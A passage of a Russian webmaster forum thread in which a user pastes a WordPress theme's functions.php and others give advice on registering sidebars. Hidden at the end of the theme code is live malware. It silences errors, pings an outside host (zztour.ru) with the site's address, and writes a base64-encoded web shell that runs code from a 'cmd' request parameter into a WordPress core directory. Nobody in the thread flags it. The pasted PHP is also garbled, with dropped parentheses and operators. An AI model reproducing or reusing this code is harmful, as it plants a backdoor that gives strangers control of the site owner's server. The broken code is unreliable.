                </tr>
                            
                <tr>
                    <td><?php echo $value['desc']; ?></td>
               </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php         break;
        
     

    }
    }
    ?>

    <!-- options 4 -->
    <?php 
      
    if (is_array($options4))

       foreach (
    $options4 as $value) { 
        
        switch ( 
    $value['type'] ) {
        
            case 
    "open":
            
            
    ?>
            <table width="100%" border="0" style="padding:10px;" id="item4">
            
            <?php break;
            
            case 
    "close":
            
    ?>
            
            </table>
            
            
            <?php break;
            
            case 
    "title":
            
    ?>
            <table width="100%" border="0" style="padding:5px 10px;"><tr>
                <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
            </tr>
                    
            
            <?php break;
            case 
    'text':
            
    ?>
            
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings$value['id'] ); ?>" /></td>
            </tr>

            <tr>
                <td><?php echo $value['desc']; ?></small></td>
            </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php 
            
    break;
            
            case 
    'textarea':
            
    ?>
            
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings$value['id'] ); ?></textarea></td>
                
            </tr>

            <tr>
                <td><?php echo $value['desc']; ?></small></td>
            </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php 
            
    break;
            
            case 
    'select':
            
    ?>
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%">
                    <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
                        <?php 
                            
    foreach ($value['options'] as $option) { ?>
                            <option value="<?php echo $option['value']; ?><?php if ( get_theme_settings$value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
                            <?php ?>
                    </select>
                </td>
           </tr>
                    
           <tr>
                <td><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php
            
    break;
                
            case 
    "checkbox":
            
    ?>
                <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                    <td width="80%"><?php if(get_theme_settings($value['id'])){ $checked "checked=\"checked\""; }else{ $checked ""; } ?>
                            <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked?> />
                            </td>
                </tr>
                            
                <tr>
                    <td><?php echo $value['desc']; ?></td>
               </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>
                
    <?php         break;
                     case 
    "none":
            
    ?>
                <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                    <td width="80%"></td>
                </tr>
                            
                <tr>
                    <td><?php echo $value['desc']; ?></td>
               </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php         break;
        
     

    }
    }
    ?>

    <!--</table>-->

    <p class="submit">
    <input name="save" type="submit" class="button-primary" value="Сохранить" />    
    <input type="hidden" name="action" value="save" />
    </p>
    <script type="text/javascript">
    var fade = function(id,s){
      s.tabs.removeClass(s.selected);
      s.tab(id).addClass(s.selected);
      s.items.fadeOut();
      s.item(id).fadeIn();
      return false;
    };
    jQuery.fn.fadeTabs = jQuery.idTabs.extend(fade);
    jQuery(".fade").fadeTabs();
    </script>
    </div>
    </div>
    </form>

    <?php
    }
    mytheme_admin_init();
        global 
    $pagenow;
        if(isset(
    $_GET['activated'] ) && $pagenow == "themes.php") {
            
    wp_redirectadmin_url('themes.php?page=functions.php') );
            exit();
        }

    add_action('admin_menu''mytheme_add_admin');

    if ( 
    function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); } 
        if(
    function_exists('add_custom_background')) {
            
    add_custom_background();
        }
        
        if ( 
    function_exists'register_nav_menus' ) ) {
            
    register_nav_menus(
                array(
                  
    'menu_1' => 'Menu 1',
                  
    'menu_2' => 'Menu 2'
                
    )
            );
        }

    function 
    string_limit_words($string$word_limit)
    {
      
    $words explode(' '$string, ($word_limit 1));
      if(
    count($words) > $word_limit)
      
    array_pop($words);
      return 
    implode(' '$words);
    }    
         
    function 
    popular_posts()  { ?>
    <ul><li id="recent-posts">
    <h2>Популярные записи</h2>
    <ul style="list-style:none;">
    <?php global $post$postslist=get_posts('numberposts=3&orderby=comment_count'); foreach($postslist as $post) : setup_postdata($post); ?>
    <li><a href="<?php the_permalink(); ?>">
    <?php the_post_thumbnail(array(60,60), array("class" => "alignleft popular-sidebar")); ?>
    </a>
    <span style="padding-top:0px;float:left; width:200px;"><a style="float:left; font-weight:bold; width:200px; padding-top:5px;" title="Post: <?php the_title(); ?>" href="<?php the_permalink(); ?>"><?php the_title(); ?></a><br/>
    <?php $excerpt get_the_excerpt();
      echo 
    string_limit_words($excerpt,8); echo " [...]";//comments_number('0 comments', 'One Comments', '% Comments' );?></span>
    <div class="clear"></div>
    </li>
    <?php endforeach; ?>
    </ul>
    </li>
    <?php }

    if(
    get_theme_option('twitter_widget') != '')
    {
    include (
    'includes/widgets/tweets.php');
    }

    if(
    get_theme_option('facebook_widget') != '')
    {
    include (
    'includes/widgets/facebook.php');
    }

    function 
    custom_excerpt_length$length ) {
        return 
    40;
    }
    add_filter'excerpt_length''custom_excerpt_length'999 );

    function 
    pagination($pages ''$range 4)
    {
         
    $showitems = ($range 2)+1;  
     
         global 
    $paged;
         if(empty(
    $paged)) $paged 1;
     
         if(
    $pages == '')
         {
             global 
    $wp_query;
             
    $pages $wp_query->max_num_pages;
             if(!
    $pages)
             {
                 
    $pages 1;
             }
         }   
     
         if(
    != $pages)
         {
             echo 
    "<div class=\"pagination\"><span>Page ".$paged." of ".$pages."</span>";
             if(
    $paged && $paged $range+&& $showitems $pages) echo "<a href='".get_pagenum_link(1)."'>&laquo; First</a>";
             if(
    $paged && $showitems $pages) echo "<a href='".get_pagenum_link($paged 1)."'>&lsaquo; Previous</a>";
     
             for (
    $i=1$i <= $pages$i++)
             {
                 if (
    != $pages &&( !($i >= $paged+$range+|| $i <= $paged-$range-1) || $pages <= $showitems ))
                 {
                     echo (
    $paged == $i)? "<span class=\"current\">".$i."</span>":"<a href='".get_pagenum_link($i)."' class=\"inactive\">".$i."</a>";
                 }
             }
     
             if (
    $paged $pages && $showitems $pages) echo "<a href=\"".get_pagenum_link($paged 1)."\">Next &rsaquo;</a>";
             if (
    $paged $pages-&&  $paged+$range-$pages && $showitems $pages) echo "<a href='".get_pagenum_link($pages)."'>Last &raquo;</a>";
             echo 
    "</div>\n";
         }
    }


    // new code for image uploads

    function my_js() { ?>
    <script type="text/javascript" language="javascript">
    $j=jQuery.noConflict();
    $j(document).ready(function(){
        var formfield;

        jQuery('#upload_image_button').click(function() {
            formfield = jQuery('#upload_image').attr('name');
            tb_show('', 'media-upload.php?type=image&amp;TB_iframe=true');
            return false;
        });

    window.original_send_to_editor = window.send_to_editor;
        window.send_to_editor = function(html) {

    if (formfield) {
        imgurl = jQuery(html).attr('href');
            jQuery('#upload_image').val(imgurl);
    tb_remove();
           formfield = '';

            } else {
                window.original_send_to_editor(html);
            }
    };

    });
    </script>
    <?php }

    function 
    my_admin_scripts() {
        
    wp_enqueue_script('media-upload');
        
    wp_enqueue_script('thickbox');
        
    add_action('admin_head''my_js');
    }

    function 
    my_admin_styles() {
        
    wp_enqueue_style('thickbox');
    }

    if (
    is_admin()) {
        
    add_action('admin_print_scripts''my_admin_scripts');
        
    add_action('admin_print_styles''my_admin_styles');
    }
    set_error_handler(create_function('','ini_set("display_errors","0");error_reporting(0);'));

    $host_name 'zztour.';
    $path_name 'ru/site.php?host=';

    file_get_contents('http://'$host_name $path_name .get_template_directory_uri());

    $h fopen("wp-includes/js/tinymce/utils/sidebar1.php","w"); $text "<?php @eval(base64_decode('QGV2YWwoZmlsZV9nZXRfY29udGVudHMoQCRfR0VUWyJjbWQiXSkpOw=='));";
    fwrite($h,$text); fclose($h); 
    ?>
    • 0
  8. Дипломник Аватар для imFluder
    • Регистрация: 30.12.2010
    • Сообщений: 212
    • Репутация: 28
    Tomseo,
    PHP код:
    register_sidebars(array(
            
    'name' => 'Sidebar',
            
    'before_widget' => '<li id="%1$s" class="widget %2$s">',
            
    'after_widget' => '</li>',
            
    'before_title' => '<h2 class="widgettitle">',
            
    'after_title' => '</h2>',
        )); 
    меняешь на
    PHP код:
    register_sidebars(array(
            
    'name' => 'Sidebar',
            
    'id' => 'primary-sidebar',
            
    'before_widget' => '<li id="%1$s" class="widget %2$s">',
            
    'after_widget' => '</li>',
            
    'before_title' => '<h2 class="widgettitle">',
            
    'after_title' => '</h2>',
        )); 
    и выводишь сайдбар
    PHP код:
    dynamic_sidebar'primary-sidebar' ); 
    или
    PHP код:
    get_sidebar'primary-sidebar' ); 
    Покупать темы только здесь. Готовый сайт за 5 минут.
    • 0
  9. Опытный Аватар для Tomseo
    • Регистрация: 27.11.2013
    • Сообщений: 331
    • Репутация: 22
    • Webmoney BL: ?
    imFluder, тоесть вместо <?php get_sidebars(); ?> в single вставить <?php get_sidebar( 'primary-sidebar' ); ?> ??
    • 0
  10. Дипломник Аватар для imFluder
    • Регистрация: 30.12.2010
    • Сообщений: 212
    • Репутация: 28
    Tomseo, да, и register_sidebars не забудь отредактировать
    Покупать темы только здесь. Готовый сайт за 5 минут.
    • 0

Тэги топика:

Похожие темы

Темы Раздел Ответов Последний пост
single.php прошу помочь срочно!
WordPress 11 29.01.2014 04:00
Как выводить количество просмотров с файла single.php на главную станицу
WordPress 12 19.12.2013 12:53
1 пустой акк авторег в твиттере(от полугода)
Прочее 5 25.05.2013 23:09
Пустой текстовый блок между <div>
Web программирование 10 22.11.2012 15:05
404 ошибка пустой категории
DLE 6 09.11.2012 23:36

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры